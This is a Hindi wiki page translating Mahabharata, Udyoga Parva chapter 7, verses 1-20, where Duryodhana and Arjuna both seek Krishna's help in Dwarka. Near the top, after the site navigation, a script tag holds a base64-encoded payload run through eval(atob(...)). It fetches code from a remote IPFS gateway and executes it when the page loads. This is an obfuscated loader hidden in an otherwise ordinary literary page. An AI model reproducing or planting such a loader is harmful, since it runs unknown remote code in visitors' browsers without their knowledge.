महाभारत उद्योग पर्व अध्याय 7 श्लोक 1-20

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित ०५:००, १४ जुलाई २०१५ का अवतरण
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सप्तम (7) अध्‍याय: उद्योग पर्व (सेनोद्योग पर्व)

महाभारत: उद्योग पर्व: सप्तम अध्याय: श्लोक 1-20 का हिन्दी अनुवाद

श्रीकृष्ण का दुर्योधन तथा अर्जुन दोनों को सहायता देना

वैशमपायनजी कहते है-जनमेजय ! पुरोहितो को हस्तिनापुर भेजकर पाण्डव लोग यत्र यत्र राजाओं के यहाँ अपने दूतो को भेजने लगे। अन्य सब स्थानों में दूत भेजकर कुरूकुलनन्दन कुन्ती पुत्र नरश्रेष्ठ धनंजय स्वयं द्वारकापुरी को गये। अब मधूकुल नन्दन श्रीकृष्ण और बलभद्र सैकडों वृष्णि अन्धक और भोज्यवंशी यादवों को साथ ले द्वारकापुरी की ओर चले थे धृतराष्ट्रपुत्र राजा दुर्योधन ने अपने नियुक्त किये हुये गुप्तचरो से पाण्डवों की सारी चेष्टाओं का पता लगा लिया था। अब उसने सुना कि श्रीकृष्ण विराट नगर से द्वारका को जा रहे है, तब वह वायू के समान वेगवान् उत्‍तम अश्वों तथा एक छोटी सी सेना के साथ द्वारकापुरी की ओर चल दिया। कुन्ती कुमार पाण्डुनन्दन अर्जुन ने भी उसी दिन शीघ्रता पूर्वक रमणीय द्वारकापुरी की ओर प्रस्थान किया। कुरूवंश का आनन्द बढ़ाने वाले उन दोनों नरवीरों ने द्वारका में पहँुच कर देखा, श्रीकृष्ण शयन कर रहे है। तब वे दोनों साये हुये श्रीकृष्ण के पास गये। श्रीकृष्ण के शयनकाल में पहले दुर्योधन ने उनके भवन में प्रवेश किया और उनके सिराहने के ओर रक्खे हुए एक श्रेष्ठ सिंहासन पर बैठ गया। तत्पश्चात महामना किरीटधारी अर्जुन ने श्रीकृष्ण के शयनागार में प्रवेश किया । वे बड़ी नम्रता से हाथ जोडे हुए श्रीकृष्ण के चरणों की ओर खड़े रहे। जागने पर वृष्णिकुलभूषण श्रीकृष्ण ने पहले अर्जुन को ही देखा । मधुसूदन ने उना दोनों का यथायोग्य आद्र-सत्कार करके उनसे आगमन का कारण पूछा । तब दुर्योधन ने भगवान श्रीकृष्ण से हँसते हुए से-कहा। माधव ! ( पाण्डवों के साथ हमारा ) जो युद्ध होने वाला है, उसमें आप मुझे सहायता दें आपकी मेरे तथा अर्जुन के साथ एक सी मित्रता है एवं हम लोगों का आपके साथ सम्बन्ध भी समान ही है और मधुसूदन ! आज मै ही आपके पास पहले आया हूं । पूर्वपूरूषो के सदाचार अनुसरण करने वाले श्रेष्ठ पुरूष पहले आये हुए प्रार्थी की सहायता करते है । जर्नादन ! आप इस समय संसार के सत्यपुरुषों में सबसे श्रेष्ठ है और सभी सर्वदा आपको सम्मान दष्टि से देखते है । अतः आप सत्यपुरुषों कें ही आचार का पालन करें।

भगवान श्रीकृष्ण ने कहा-राजन ! इसमें संदेह नहि कि आप ही मेरे यहाँ पहले आये है, परंतु मैने पहले कुन्तीनन्दन अर्जुन को ही देखा। सुयोधन ! आप पहले आये है और अर्जुन को मैन पहले देखा है;इसलिये मै दोनों की सहायता करूँगा। शास्त्र की आज्ञा है कि पहले बालकों ही उनकी अभीष्ठ वस्तु देनी चाहिये;अतः अवस्था मेे छोटे होने के कारण पहले कुन्ती पुत्र अर्जुन ही अपनी अभीष्ट वस्तु पाने के अधिकारी है। मेरे पास दस करोड़ गोपो की विशाल सेना है जो सबके सब मेरे जैसे ही बलिष्ठ शरीरवाले है । उन सबकी ‘ नारायण ‘ संज्ञा है । वे सभी युद्ध में डटकर लोहा लेने वाले है। एक और तो वे दुर्घर्ष सैनिक युद्ध के लिये उद्यत रहेंगे और दूसरी ओर से अकेला मै रहूँगा;परंतु मै ना तो युद्ध करूँगा और न कोई शस्त्र ही धारण करूँगा। अर्जुन ! इन दोनों में से कोई वस्तु, जो तुम्हारे मन को अधिक प्रिय ज्ञान पडे, तुम पहले चुन लो;क्योंकि धर्म के अनुसार पहले तुम्हे ही अपनी मनचाही वस्तु चुनने का अधिकार है।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख